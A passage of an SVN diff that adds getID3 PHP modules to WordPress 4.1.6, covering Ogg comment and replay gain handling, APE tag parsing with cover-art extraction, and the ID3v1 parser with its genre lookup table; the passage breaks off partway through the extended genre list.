+					$imageinfo = getid3_lib::GetDataImageSize($data);
+					if ($imageinfo === false || !isset($imageinfo['mime'])) {
+						$this->warning('COVERART vorbiscomment tag contains invalid image');
+						continue;
+					}
+
+					$ogg = new self($this->getid3);
+					$ogg->setStringMode($data);
+					$info['ogg']['comments']['picture'][] = array(
+						'image_mime' => $imageinfo['mime'],
+						'data'       => $ogg->saveAttachment('coverart', 0, strlen($data), $imageinfo['mime']),
+					);
+					unset($ogg);
+
+				} else {
+
+					$info['ogg']['comments'][strtolower($ThisFileInfo_ogg_comments_raw[$i]['key'])][] = $ThisFileInfo_ogg_comments_raw[$i]['value'];
+
+				}
+
+			} else {
+
+				$info['warning'][] = '[known problem with CDex >= v1.40, < v1.50b7] Invalid Ogg comment name/value pair ['.$i.']: '.$commentstring;
+
+			}
+			unset($ThisFileInfo_ogg_comments_raw[$i]);
+		}
+		unset($ThisFileInfo_ogg_comments_raw);
+
+
+		// Replay Gain Adjustment
+		// http://privatewww.essex.ac.uk/~djmrob/replaygain/
+		if (isset($info['ogg']['comments']) && is_array($info['ogg']['comments'])) {
+			foreach ($info['ogg']['comments'] as $index => $commentvalue) {
+				switch ($index) {
+					case 'rg_audiophile':
+					case 'replaygain_album_gain':
+						$info['replay_gain']['album']['adjustment'] = (double) $commentvalue[0];
+						unset($info['ogg']['comments'][$index]);
+						break;
+
+					case 'rg_radio':
+					case 'replaygain_track_gain':
+						$info['replay_gain']['track']['adjustment'] = (double) $commentvalue[0];
+						unset($info['ogg']['comments'][$index]);
+						break;
+
+					case 'replaygain_album_peak':
+						$info['replay_gain']['album']['peak'] = (double) $commentvalue[0];
+						unset($info['ogg']['comments'][$index]);
+						break;
+
+					case 'rg_peak':
+					case 'replaygain_track_peak':
+						$info['replay_gain']['track']['peak'] = (double) $commentvalue[0];
+						unset($info['ogg']['comments'][$index]);
+						break;
+
+					case 'replaygain_reference_loudness':
+						$info['replay_gain']['reference_volume'] = (double) $commentvalue[0];
+						unset($info['ogg']['comments'][$index]);
+						break;
+
+					default:
+						// do nothing
+						break;
+				}
+			}
+		}
+
+		$this->fseek($OriginalOffset);
+
+		return true;
+	}
+
+	public static function SpeexBandModeLookup($mode) {
+		static $SpeexBandModeLookup = array();
+		if (empty($SpeexBandModeLookup)) {
+			$SpeexBandModeLookup[0] = 'narrow';
+			$SpeexBandModeLookup[1] = 'wide';
+			$SpeexBandModeLookup[2] = 'ultra-wide';
+		}
+		return (isset($SpeexBandModeLookup[$mode]) ? $SpeexBandModeLookup[$mode] : null);
+	}
+
+
+	public static function OggPageSegmentLength($OggInfoArray, $SegmentNumber=1) {
+		for ($i = 0; $i < $SegmentNumber; $i++) {
+			$segmentlength = 0;
+			foreach ($OggInfoArray['segment_table'] as $key => $value) {
+				$segmentlength += $value;
+				if ($value < 255) {
+					break;
+				}
+			}
+		}
+		return $segmentlength;
+	}
+
+
+	public static function get_quality_from_nominal_bitrate($nominal_bitrate) {
+
+		// decrease precision
+		$nominal_bitrate = $nominal_bitrate / 1000;
+
+		if ($nominal_bitrate < 128) {
+			// q-1 to q4
+			$qval = ($nominal_bitrate - 64) / 16;
+		} elseif ($nominal_bitrate < 256) {
+			// q4 to q8
+			$qval = $nominal_bitrate / 32;
+		} elseif ($nominal_bitrate < 320) {
+			// q8 to q9
+			$qval = ($nominal_bitrate + 256) / 64;
+		} else {
+			// q9 to q10
+			$qval = ($nominal_bitrate + 1300) / 180;
+		}
+		//return $qval; // 5.031324
+		//return intval($qval); // 5
+		return round($qval, 1); // 5 or 4.9
+	}
+
+	public static function TheoraColorSpace($colorspace_id) {
+		// http://www.theora.org/doc/Theora.pdf (table 6.3)
+		static $TheoraColorSpaceLookup = array();
+		if (empty($TheoraColorSpaceLookup)) {
+			$TheoraColorSpaceLookup[0] = 'Undefined';
+			$TheoraColorSpaceLookup[1] = 'Rec. 470M';
+			$TheoraColorSpaceLookup[2] = 'Rec. 470BG';
+			$TheoraColorSpaceLookup[3] = 'Reserved';
+		}
+		return (isset($TheoraColorSpaceLookup[$colorspace_id]) ? $TheoraColorSpaceLookup[$colorspace_id] : null);
+	}
+
+	public static function TheoraPixelFormat($pixelformat_id) {
+		// http://www.theora.org/doc/Theora.pdf (table 6.4)
+		static $TheoraPixelFormatLookup = array();
+		if (empty($TheoraPixelFormatLookup)) {
+			$TheoraPixelFormatLookup[0] = '4:2:0';
+			$TheoraPixelFormatLookup[1] = 'Reserved';
+			$TheoraPixelFormatLookup[2] = '4:2:2';
+			$TheoraPixelFormatLookup[3] = '4:4:4';
+		}
+		return (isset($TheoraPixelFormatLookup[$pixelformat_id]) ? $TheoraPixelFormatLookup[$pixelformat_id] : null);
+	}
+
+}
Index: /tags/4.1.6/src/wp-includes/ID3/module.tag.apetag.php
===================================================================
--- /tags/4.1.6/src/wp-includes/ID3/module.tag.apetag.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/ID3/module.tag.apetag.php	(revision 33402)
@@ -0,0 +1,371 @@
+<?php
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+//          also https://github.com/JamesHeinrich/getID3       //
+/////////////////////////////////////////////////////////////////
+// See readme.txt for more details                             //
+/////////////////////////////////////////////////////////////////
+//                                                             //
+// module.tag.apetag.php                                       //
+// module for analyzing APE tags                               //
+// dependencies: NONE                                          //
+//                                                            ///
+/////////////////////////////////////////////////////////////////
+
+class getid3_apetag extends getid3_handler
+{
+	public $inline_attachments = true; // true: return full data for all attachments; false: return no data for all attachments; integer: return data for attachments <= than this; string: save as file to this directory
+	public $overrideendoffset  = 0;
+
+	public function Analyze() {
+		$info = &$this->getid3->info;
+
+		if (!getid3_lib::intValueSupported($info['filesize'])) {
+			$info['warning'][] = 'Unable to check for APEtags because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB';
+			return false;
+		}
+
+		$id3v1tagsize     = 128;
+		$apetagheadersize = 32;
+		$lyrics3tagsize   = 10;
+
+		if ($this->overrideendoffset == 0) {
+
+			$this->fseek(0 - $id3v1tagsize - $apetagheadersize - $lyrics3tagsize, SEEK_END);
+			$APEfooterID3v1 = $this->fread($id3v1tagsize + $apetagheadersize + $lyrics3tagsize);
+
+			//if (preg_match('/APETAGEX.{24}TAG.{125}$/i', $APEfooterID3v1)) {
+			if (substr($APEfooterID3v1, strlen($APEfooterID3v1) - $id3v1tagsize - $apetagheadersize, 8) == 'APETAGEX') {
+
+				// APE tag found before ID3v1
+				$info['ape']['tag_offset_end'] = $info['filesize'] - $id3v1tagsize;
+
+			//} elseif (preg_match('/APETAGEX.{24}$/i', $APEfooterID3v1)) {
+			} elseif (substr($APEfooterID3v1, strlen($APEfooterID3v1) - $apetagheadersize, 8) == 'APETAGEX') {
+
+				// APE tag found, no ID3v1
+				$info['ape']['tag_offset_end'] = $info['filesize'];
+
+			}
+
+		} else {
+
+			$this->fseek($this->overrideendoffset - $apetagheadersize);
+			if ($this->fread(8) == 'APETAGEX') {
+				$info['ape']['tag_offset_end'] = $this->overrideendoffset;
+			}
+
+		}
+		if (!isset($info['ape']['tag_offset_end'])) {
+
+			// APE tag not found
+			unset($info['ape']);
+			return false;
+
+		}
+
+		// shortcut
+		$thisfile_ape = &$info['ape'];
+
+		$this->fseek($thisfile_ape['tag_offset_end'] - $apetagheadersize);
+		$APEfooterData = $this->fread(32);
+		if (!($thisfile_ape['footer'] = $this->parseAPEheaderFooter($APEfooterData))) {
+			$info['error'][] = 'Error parsing APE footer at offset '.$thisfile_ape['tag_offset_end'];
+			return false;
+		}
+
+		if (isset($thisfile_ape['footer']['flags']['header']) && $thisfile_ape['footer']['flags']['header']) {
+			$this->fseek($thisfile_ape['tag_offset_end'] - $thisfile_ape['footer']['raw']['tagsize'] - $apetagheadersize);
+			$thisfile_ape['tag_offset_start'] = $this->ftell();
+			$APEtagData = $this->fread($thisfile_ape['footer']['raw']['tagsize'] + $apetagheadersize);
+		} else {
+			$thisfile_ape['tag_offset_start'] = $thisfile_ape['tag_offset_end'] - $thisfile_ape['footer']['raw']['tagsize'];
+			$this->fseek($thisfile_ape['tag_offset_start']);
+			$APEtagData = $this->fread($thisfile_ape['footer']['raw']['tagsize']);
+		}
+		$info['avdataend'] = $thisfile_ape['tag_offset_start'];
+
+		if (isset($info['id3v1']['tag_offset_start']) && ($info['id3v1']['tag_offset_start'] < $thisfile_ape['tag_offset_end'])) {
+			$info['warning'][] = 'ID3v1 tag information ignored since it appears to be a false synch in APEtag data';
+			unset($info['id3v1']);
+			foreach ($info['warning'] as $key => $value) {
+				if ($value == 'Some ID3v1 fields do not use NULL characters for padding') {
+					unset($info['warning'][$key]);
+					sort($info['warning']);
+					break;
+				}
+			}
+		}
+
+		$offset = 0;
+		if (isset($thisfile_ape['footer']['flags']['header']) && $thisfile_ape['footer']['flags']['header']) {
+			if ($thisfile_ape['header'] = $this->parseAPEheaderFooter(substr($APEtagData, 0, $apetagheadersize))) {
+				$offset += $apetagheadersize;
+			} else {
+				$info['error'][] = 'Error parsing APE header at offset '.$thisfile_ape['tag_offset_start'];
+				return false;
+			}
+		}
+
+		// shortcut
+		$info['replay_gain'] = array();
+		$thisfile_replaygain = &$info['replay_gain'];
+
+		for ($i = 0; $i < $thisfile_ape['footer']['raw']['tag_items']; $i++) {
+			$value_size = getid3_lib::LittleEndian2Int(substr($APEtagData, $offset, 4));
+			$offset += 4;
+			$item_flags = getid3_lib::LittleEndian2Int(substr($APEtagData, $offset, 4));
+			$offset += 4;
+			if (strstr(substr($APEtagData, $offset), "\x00") === false) {
+				$info['error'][] = 'Cannot find null-byte (0x00) seperator between ItemKey #'.$i.' and value. ItemKey starts '.$offset.' bytes into the APE tag, at file offset '.($thisfile_ape['tag_offset_start'] + $offset);
+				return false;
+			}
+			$ItemKeyLength = strpos($APEtagData, "\x00", $offset) - $offset;
+			$item_key      = strtolower(substr($APEtagData, $offset, $ItemKeyLength));
+
+			// shortcut
+			$thisfile_ape['items'][$item_key] = array();
+			$thisfile_ape_items_current = &$thisfile_ape['items'][$item_key];
+
+			$thisfile_ape_items_current['offset'] = $thisfile_ape['tag_offset_start'] + $offset;
+
+			$offset += ($ItemKeyLength + 1); // skip 0x00 terminator
+			$thisfile_ape_items_current['data'] = substr($APEtagData, $offset, $value_size);
+			$offset += $value_size;
+
+			$thisfile_ape_items_current['flags'] = $this->parseAPEtagFlags($item_flags);
+			switch ($thisfile_ape_items_current['flags']['item_contents_raw']) {
+				case 0: // UTF-8
+				case 3: // Locator (URL, filename, etc), UTF-8 encoded
+					$thisfile_ape_items_current['data'] = explode("\x00", trim($thisfile_ape_items_current['data']));
+					break;
+
+				default: // binary data
+					break;
+			}
+
+			switch (strtolower($item_key)) {
+				case 'replaygain_track_gain':
+					$thisfile_replaygain['track']['adjustment'] = (float) str_replace(',', '.', $thisfile_ape_items_current['data'][0]); // float casting will see "0,95" as zero!
+					$thisfile_replaygain['track']['originator'] = 'unspecified';
+					break;
+
+				case 'replaygain_track_peak':
+					$thisfile_replaygain['track']['peak']       = (float) str_replace(',', '.', $thisfile_ape_items_current['data'][0]); // float casting will see "0,95" as zero!
+					$thisfile_replaygain['track']['originator'] = 'unspecified';
+					if ($thisfile_replaygain['track']['peak'] <= 0) {
+						$info['warning'][] = 'ReplayGain Track peak from APEtag appears invalid: '.$thisfile_replaygain['track']['peak'].' (original value = "'.$thisfile_ape_items_current['data'][0].'")';
+					}
+					break;
+
+				case 'replaygain_album_gain':
+					$thisfile_replaygain['album']['adjustment'] = (float) str_replace(',', '.', $thisfile_ape_items_current['data'][0]); // float casting will see "0,95" as zero!
+					$thisfile_replaygain['album']['originator'] = 'unspecified';
+					break;
+
+				case 'replaygain_album_peak':
+					$thisfile_replaygain['album']['peak']       = (float) str_replace(',', '.', $thisfile_ape_items_current['data'][0]); // float casting will see "0,95" as zero!
+					$thisfile_replaygain['album']['originator'] = 'unspecified';
+					if ($thisfile_replaygain['album']['peak'] <= 0) {
+						$info['warning'][] = 'ReplayGain Album peak from APEtag appears invalid: '.$thisfile_replaygain['album']['peak'].' (original value = "'.$thisfile_ape_items_current['data'][0].'")';
+					}
+					break;
+
+				case 'mp3gain_undo':
+					list($mp3gain_undo_left, $mp3gain_undo_right, $mp3gain_undo_wrap) = explode(',', $thisfile_ape_items_current['data'][0]);
+					$thisfile_replaygain['mp3gain']['undo_left']  = intval($mp3gain_undo_left);
+					$thisfile_replaygain['mp3gain']['undo_right'] = intval($mp3gain_undo_right);
+					$thisfile_replaygain['mp3gain']['undo_wrap']  = (($mp3gain_undo_wrap == 'Y') ? true : false);
+					break;
+
+				case 'mp3gain_minmax':
+					list($mp3gain_globalgain_min, $mp3gain_globalgain_max) = explode(',', $thisfile_ape_items_current['data'][0]);
+					$thisfile_replaygain['mp3gain']['globalgain_track_min'] = intval($mp3gain_globalgain_min);
+					$thisfile_replaygain['mp3gain']['globalgain_track_max'] = intval($mp3gain_globalgain_max);
+					break;
+
+				case 'mp3gain_album_minmax':
+					list($mp3gain_globalgain_album_min, $mp3gain_globalgain_album_max) = explode(',', $thisfile_ape_items_current['data'][0]);
+					$thisfile_replaygain['mp3gain']['globalgain_album_min'] = intval($mp3gain_globalgain_album_min);
+					$thisfile_replaygain['mp3gain']['globalgain_album_max'] = intval($mp3gain_globalgain_album_max);
+					break;
+
+				case 'tracknumber':
+					if (is_array($thisfile_ape_items_current['data'])) {
+						foreach ($thisfile_ape_items_current['data'] as $comment) {
+							$thisfile_ape['comments']['track'][] = $comment;
+						}
+					}
+					break;
+
+				case 'cover art (artist)':
+				case 'cover art (back)':
+				case 'cover art (band logo)':
+				case 'cover art (band)':
+				case 'cover art (colored fish)':
+				case 'cover art (composer)':
+				case 'cover art (conductor)':
+				case 'cover art (front)':
+				case 'cover art (icon)':
+				case 'cover art (illustration)':
+				case 'cover art (lead)':
+				case 'cover art (leaflet)':
+				case 'cover art (lyricist)':
+				case 'cover art (media)':
+				case 'cover art (movie scene)':
+				case 'cover art (other icon)':
+				case 'cover art (other)':
+				case 'cover art (performance)':
+				case 'cover art (publisher logo)':
+				case 'cover art (recording)':
+				case 'cover art (studio)':
+					// list of possible cover arts from http://taglib-sharp.sourcearchive.com/documentation/2.0.3.0-2/Ape_2Tag_8cs-source.html
+					list($thisfile_ape_items_current['filename'], $thisfile_ape_items_current['data']) = explode("\x00", $thisfile_ape_items_current['data'], 2);
+					$thisfile_ape_items_current['data_offset'] = $thisfile_ape_items_current['offset'] + strlen($thisfile_ape_items_current['filename']."\x00");
+					$thisfile_ape_items_current['data_length'] = strlen($thisfile_ape_items_current['data']);
+
+					$thisfile_ape_items_current['image_mime'] = '';
+					$imageinfo = array();
+					$imagechunkcheck = getid3_lib::GetDataImageSize($thisfile_ape_items_current['data'], $imageinfo);
+					$thisfile_ape_items_current['image_mime'] = image_type_to_mime_type($imagechunkcheck[2]);
+
+					do {
+						if ($this->inline_attachments === false) {
+							// skip entirely
+							unset($thisfile_ape_items_current['data']);
+							break;
+						}
+						if ($this->inline_attachments === true) {
+							// great
+						} elseif (is_int($this->inline_attachments)) {
+							if ($this->inline_attachments < $thisfile_ape_items_current['data_length']) {
+								// too big, skip
+								$info['warning'][] = 'attachment at '.$thisfile_ape_items_current['offset'].' is too large to process inline ('.number_format($thisfile_ape_items_current['data_length']).' bytes)';
+								unset($thisfile_ape_items_current['data']);
+								break;
+							}
+						} elseif (is_string($this->inline_attachments)) {
+							$this->inline_attachments = rtrim(str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $this->inline_attachments), DIRECTORY_SEPARATOR);
+							if (!is_dir($this->inline_attachments) || !is_writable($this->inline_attachments)) {
+								// cannot write, skip
+								$info['warning'][] = 'attachment at '.$thisfile_ape_items_current['offset'].' cannot be saved to "'.$this->inline_attachments.'" (not writable)';
+								unset($thisfile_ape_items_current['data']);
+								break;
+							}
+						}
+						// if we get this far, must be OK
+						if (is_string($this->inline_attachments)) {
+							$destination_filename = $this->inline_attachments.DIRECTORY_SEPARATOR.md5($info['filenamepath']).'_'.$thisfile_ape_items_current['data_offset'];
+							if (!file_exists($destination_filename) || is_writable($destination_filename)) {
+								file_put_contents($destination_filename, $thisfile_ape_items_current['data']);
+							} else {
+								$info['warning'][] = 'attachment at '.$thisfile_ape_items_current['offset'].' cannot be saved to "'.$destination_filename.'" (not writable)';
+							}
+							$thisfile_ape_items_current['data_filename'] = $destination_filename;
+							unset($thisfile_ape_items_current['data']);
+						} else {
+							if (!isset($info['ape']['comments']['picture'])) {
+								$info['ape']['comments']['picture'] = array();
+							}
+							$info['ape']['comments']['picture'][] = array('data'=>$thisfile_ape_items_current['data'], 'image_mime'=>$thisfile_ape_items_current['image_mime']);
+						}
+					} while (false);
+					break;
+
+				default:
+					if (is_array($thisfile_ape_items_current['data'])) {
+						foreach ($thisfile_ape_items_current['data'] as $comment) {
+							$thisfile_ape['comments'][strtolower($item_key)][] = $comment;
+						}
+					}
+					break;
+			}
+
+		}
+		if (empty($thisfile_replaygain)) {
+			unset($info['replay_gain']);
+		}
+		return true;
+	}
+
+	public function parseAPEheaderFooter($APEheaderFooterData) {
+		// http://www.uni-jena.de/~pfk/mpp/sv8/apeheader.html
+
+		// shortcut
+		$headerfooterinfo['raw'] = array();
+		$headerfooterinfo_raw = &$headerfooterinfo['raw'];
+
+		$headerfooterinfo_raw['footer_tag']   =                  substr($APEheaderFooterData,  0, 8);
+		if ($headerfooterinfo_raw['footer_tag'] != 'APETAGEX') {
+			return false;
+		}
+		$headerfooterinfo_raw['version']      = getid3_lib::LittleEndian2Int(substr($APEheaderFooterData,  8, 4));
+		$headerfooterinfo_raw['tagsize']      = getid3_lib::LittleEndian2Int(substr($APEheaderFooterData, 12, 4));
+		$headerfooterinfo_raw['tag_items']    = getid3_lib::LittleEndian2Int(substr($APEheaderFooterData, 16, 4));
+		$headerfooterinfo_raw['global_flags'] = getid3_lib::LittleEndian2Int(substr($APEheaderFooterData, 20, 4));
+		$headerfooterinfo_raw['reserved']     =                              substr($APEheaderFooterData, 24, 8);
+
+		$headerfooterinfo['tag_version']         = $headerfooterinfo_raw['version'] / 1000;
+		if ($headerfooterinfo['tag_version'] >= 2) {
+			$headerfooterinfo['flags'] = $this->parseAPEtagFlags($headerfooterinfo_raw['global_flags']);
+		}
+		return $headerfooterinfo;
+	}
+
+	public function parseAPEtagFlags($rawflagint) {
+		// "Note: APE Tags 1.0 do not use any of the APE Tag flags.
+		// All are set to zero on creation and ignored on reading."
+		// http://www.uni-jena.de/~pfk/mpp/sv8/apetagflags.html
+		$flags['header']            = (bool) ($rawflagint & 0x80000000);
+		$flags['footer']            = (bool) ($rawflagint & 0x40000000);
+		$flags['this_is_header']    = (bool) ($rawflagint & 0x20000000);
+		$flags['item_contents_raw'] =        ($rawflagint & 0x00000006) >> 1;
+		$flags['read_only']         = (bool) ($rawflagint & 0x00000001);
+
+		$flags['item_contents']     = $this->APEcontentTypeFlagLookup($flags['item_contents_raw']);
+
+		return $flags;
+	}
+
+	public function APEcontentTypeFlagLookup($contenttypeid) {
+		static $APEcontentTypeFlagLookup = array(
+			0 => 'utf-8',
+			1 => 'binary',
+			2 => 'external',
+			3 => 'reserved'
+		);
+		return (isset($APEcontentTypeFlagLookup[$contenttypeid]) ? $APEcontentTypeFlagLookup[$contenttypeid] : 'invalid');
+	}
+
+	public function APEtagItemIsUTF8Lookup($itemkey) {
+		static $APEtagItemIsUTF8Lookup = array(
+			'title',
+			'subtitle',
+			'artist',
+			'album',
+			'debut album',
+			'publisher',
+			'conductor',
+			'track',
+			'composer',
+			'comment',
+			'copyright',
+			'publicationright',
+			'file',
+			'year',
+			'record date',
+			'record location',
+			'genre',
+			'media',
+			'related',
+			'isrc',
+			'abstract',
+			'language',
+			'bibliography'
+		);
+		return in_array(strtolower($itemkey), $APEtagItemIsUTF8Lookup);
+	}
+
+}
Index: /tags/4.1.6/src/wp-includes/ID3/module.tag.id3v1.php
===================================================================
--- /tags/4.1.6/src/wp-includes/ID3/module.tag.id3v1.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/ID3/module.tag.id3v1.php	(revision 33402)
@@ -0,0 +1,360 @@
+<?php
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+//          also https://github.com/JamesHeinrich/getID3       //
+/////////////////////////////////////////////////////////////////
+// See readme.txt for more details                             //
+/////////////////////////////////////////////////////////////////
+//                                                             //
+// module.tag.id3v1.php                                        //
+// module for analyzing ID3v1 tags                             //
+// dependencies: NONE                                          //
+//                                                            ///
+/////////////////////////////////////////////////////////////////
+
+
+class getid3_id3v1 extends getid3_handler
+{
+
+	public function Analyze() {
+		$info = &$this->getid3->info;
+
+		if (!getid3_lib::intValueSupported($info['filesize'])) {
+			$info['warning'][] = 'Unable to check for ID3v1 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB';
+			return false;
+		}
+
+		$this->fseek(-256, SEEK_END);
+		$preid3v1 = $this->fread(128);
+		$id3v1tag = $this->fread(128);
+
+		if (substr($id3v1tag, 0, 3) == 'TAG') {
+
+			$info['avdataend'] = $info['filesize'] - 128;
+
+			$ParsedID3v1['title']   = $this->cutfield(substr($id3v1tag,   3, 30));
+			$ParsedID3v1['artist']  = $this->cutfield(substr($id3v1tag,  33, 30));
+			$ParsedID3v1['album']   = $this->cutfield(substr($id3v1tag,  63, 30));
+			$ParsedID3v1['year']    = $this->cutfield(substr($id3v1tag,  93,  4));
+			$ParsedID3v1['comment'] =                 substr($id3v1tag,  97, 30);  // can't remove nulls yet, track detection depends on them
+			$ParsedID3v1['genreid'] =             ord(substr($id3v1tag, 127,  1));
+
+			// If second-last byte of comment field is null and last byte of comment field is non-null
+			// then this is ID3v1.1 and the comment field is 28 bytes long and the 30th byte is the track number
+			if (($id3v1tag{125} === "\x00") && ($id3v1tag{126} !== "\x00")) {
+				$ParsedID3v1['track']   = ord(substr($ParsedID3v1['comment'], 29,  1));
+				$ParsedID3v1['comment'] =     substr($ParsedID3v1['comment'],  0, 28);
+			}
+			$ParsedID3v1['comment'] = $this->cutfield($ParsedID3v1['comment']);
+
+			$ParsedID3v1['genre'] = $this->LookupGenreName($ParsedID3v1['genreid']);
+			if (!empty($ParsedID3v1['genre'])) {
+				unset($ParsedID3v1['genreid']);
+			}
+			if (isset($ParsedID3v1['genre']) && (empty($ParsedID3v1['genre']) || ($ParsedID3v1['genre'] == 'Unknown'))) {
+				unset($ParsedID3v1['genre']);
+			}
+
+			foreach ($ParsedID3v1 as $key => $value) {
+				$ParsedID3v1['comments'][$key][0] = $value;
+			}
+
+			// ID3v1 data is supposed to be padded with NULL characters, but some taggers pad with spaces
+			$GoodFormatID3v1tag = $this->GenerateID3v1Tag(
+											$ParsedID3v1['title'],
+											$ParsedID3v1['artist'],
+											$ParsedID3v1['album'],
+											$ParsedID3v1['year'],
+											(isset($ParsedID3v1['genre']) ? $this->LookupGenreID($ParsedID3v1['genre']) : false),
+											$ParsedID3v1['comment'],
+											(!empty($ParsedID3v1['track']) ? $ParsedID3v1['track'] : ''));
+			$ParsedID3v1['padding_valid'] = true;
+			if ($id3v1tag !== $GoodFormatID3v1tag) {
+				$ParsedID3v1['padding_valid'] = false;
+				$info['warning'][] = 'Some ID3v1 fields do not use NULL characters for padding';
+			}
+
+			$ParsedID3v1['tag_offset_end']   = $info['filesize'];
+			$ParsedID3v1['tag_offset_start'] = $ParsedID3v1['tag_offset_end'] - 128;
+
+			$info['id3v1'] = $ParsedID3v1;
+		}
+
+		if (substr($preid3v1, 0, 3) == 'TAG') {
+			// The way iTunes handles tags is, well, brain-damaged.
+			// It completely ignores v1 if ID3v2 is present.
+			// This goes as far as adding a new v1 tag *even if there already is one*
+
+			// A suspected double-ID3v1 tag has been detected, but it could be that
+			// the "TAG" identifier is a legitimate part of an APE or Lyrics3 tag
+			if (substr($preid3v1, 96, 8) == 'APETAGEX') {
+				// an APE tag footer was found before the last ID3v1, assume false "TAG" synch
+			} elseif (substr($preid3v1, 119, 6) == 'LYRICS') {
+				// a Lyrics3 tag footer was found before the last ID3v1, assume false "TAG" synch
+			} else {
+				// APE and Lyrics3 footers not found - assume double ID3v1
+				$info['warning'][] = 'Duplicate ID3v1 tag detected - this has been known to happen with iTunes';
+				$info['avdataend'] -= 128;
+			}
+		}
+
+		return true;
+	}
+
+	public static function cutfield($str) {
+		return trim(substr($str, 0, strcspn($str, "\x00")));
+	}
+
+	public static function ArrayOfGenres($allowSCMPXextended=false) {
+		static $GenreLookup = array(
+			0    => 'Blues',
+			1    => 'Classic Rock',
+			2    => 'Country',
+			3    => 'Dance',
+			4    => 'Disco',
+			5    => 'Funk',
+			6    => 'Grunge',
+			7    => 'Hip-Hop',
+			8    => 'Jazz',
+			9    => 'Metal',
+			10   => 'New Age',
+			11   => 'Oldies',
+			12   => 'Other',
+			13   => 'Pop',
+			14   => 'R&B',
+			15   => 'Rap',
+			16   => 'Reggae',
+			17   => 'Rock',
+			18   => 'Techno',
+			19   => 'Industrial',
+			20   => 'Alternative',
+			21   => 'Ska',
+			22   => 'Death Metal',
+			23   => 'Pranks',
+			24   => 'Soundtrack',
+			25   => 'Euro-Techno',
+			26   => 'Ambient',
+			27   => 'Trip-Hop',
+			28   => 'Vocal',
+			29   => 'Jazz+Funk',
+			30   => 'Fusion',
+			31   => 'Trance',
+			32   => 'Classical',
+			33   => 'Instrumental',
+			34   => 'Acid',
+			35   => 'House',
+			36   => 'Game',
+			37   => 'Sound Clip',
+			38   => 'Gospel',
+			39   => 'Noise',
+			40   => 'Alt. Rock',
+			41   => 'Bass',
+			42   => 'Soul',
+			43   => 'Punk',
+			44   => 'Space',
+			45   => 'Meditative',
+			46   => 'Instrumental Pop',
+			47   => 'Instrumental Rock',
+			48   => 'Ethnic',
+			49   => 'Gothic',
+			50   => 'Darkwave',
+			51   => 'Techno-Industrial',
+			52   => 'Electronic',
+			53   => 'Pop-Folk',
+			54   => 'Eurodance',
+			55   => 'Dream',
+			56   => 'Southern Rock',
+			57   => 'Comedy',
+			58   => 'Cult',
+			59   => 'Gangsta Rap',
+			60   => 'Top 40',
+			61   => 'Christian Rap',
+			62   => 'Pop/Funk',
+			63   => 'Jungle',
+			64   => 'Native American',
+			65   => 'Cabaret',
+			66   => 'New Wave',
+			67   => 'Psychedelic',
+			68   => 'Rave',
+			69   => 'Showtunes',
+			70   => 'Trailer',
+			71   => 'Lo-Fi',
+			72   => 'Tribal',
+			73   => 'Acid Punk',
+			74   => 'Acid Jazz',
+			75   => 'Polka',
+			76   => 'Retro',
+			77   => 'Musical',
+			78   => 'Rock & Roll',
+			79   => 'Hard Rock',
+			80   => 'Folk',
+			81   => 'Folk/Rock',
+			82   => 'National Folk',
+			83   => 'Swing',
+			84   => 'Fast-Fusion',
+			85   => 'Bebob',
+			86   => 'Latin',
+			87   => 'Revival',
+			88   => 'Celtic',
+			89   => 'Bluegrass',
+			90   => 'Avantgarde',
+			91   => 'Gothic Rock',
+			92   => 'Progressive Rock',
+			93   => 'Psychedelic Rock',
+			94   => 'Symphonic Rock',
+			95   => 'Slow Rock',
+			96   => 'Big Band',
+			97   => 'Chorus',
+			98   => 'Easy Listening',
+			99   => 'Acoustic',
+			100  => 'Humour',
+			101  => 'Speech',
+			102  => 'Chanson',
+			103  => 'Opera',
+			104  => 'Chamber Music',
+			105  => 'Sonata',
+			106  => 'Symphony',
+			107  => 'Booty Bass',
+			108  => 'Primus',
+			109  => 'Porn Groove',
+			110  => 'Satire',
+			111  => 'Slow Jam',
+			112  => 'Club',
+			113  => 'Tango',
+			114  => 'Samba',
+			115  => 'Folklore',
+			116  => 'Ballad',
+			117  => 'Power Ballad',
+			118  => 'Rhythmic Soul',
+			119  => 'Freestyle',
+			120  => 'Duet',
+			121  => 'Punk Rock',
+			122  => 'Drum Solo',
+			123  => 'A Cappella',
+			124  => 'Euro-House',
+			125  => 'Dance Hall',
+			126  => 'Goa',
+			127  => 'Drum & Bass',
+			128  => 'Club-House',
+			129  => 'Hardcore',
+			130  => 'Terror',
+			131  => 'Indie',
+			132  => 'BritPop',
+			133  => 'Negerpunk',
+			134  => 'Polsk Punk',
+			135  => 'Beat',
+			136  => 'Christian Gangsta Rap',
+			137  => 'Heavy Metal',
+			138  => 'Black Metal',
+			139  => 'Crossover',
+			140  => 'Contemporary Christian',
+			141  => 'Christian Rock',
+			142  => 'Merengue',
+			143  => 'Salsa',
+			144  => 'Thrash Metal',
+			145  => 'Anime',
+			146  => 'JPop',
+			147  => 'Synthpop',
+
+			255  => 'Unknown',
+
+			'CR' => 'Cover',
+			'RX' => 'Remix'
+		);
+
+		static $GenreLookupSCMPX = array();
+		if ($allowSCMPXextended && empty($GenreLookupSCMPX)) {
+			$GenreLookupSCMPX = $GenreLookup;
+			// http://www.geocities.co.jp/SiliconValley-Oakland/3664/alittle.html#GenreExtended
+			// Extended ID3v1 genres invented by SCMPX
+			// Note that 255 "Japanese Anime" conflicts with standard "Unknown"
+			$GenreLookupSCMPX[240] = 'Sacred';
+			$GenreLookupSCMPX[241] = 'Northern Europe';
+			$GenreLookupSCMPX[242] = 'Irish & Scottish';
+			$GenreLookupSCMPX[243] = 'Scotland';
+			$GenreLookupSCMPX[244] = 'Ethnic Europe';
+			$GenreLookupSCMPX[245] = 'Enka';
+			$GenreLookupSCMPX[246] = 'Children\'s Song';
+			$GenreLookupSCMPX[247] = 'Japanese Sky';
+			$GenreLookupSCMPX[248] = 'Japanese Heavy Rock';
+			$GenreLookupSCMPX[249] = 'Japanese Doom Rock';
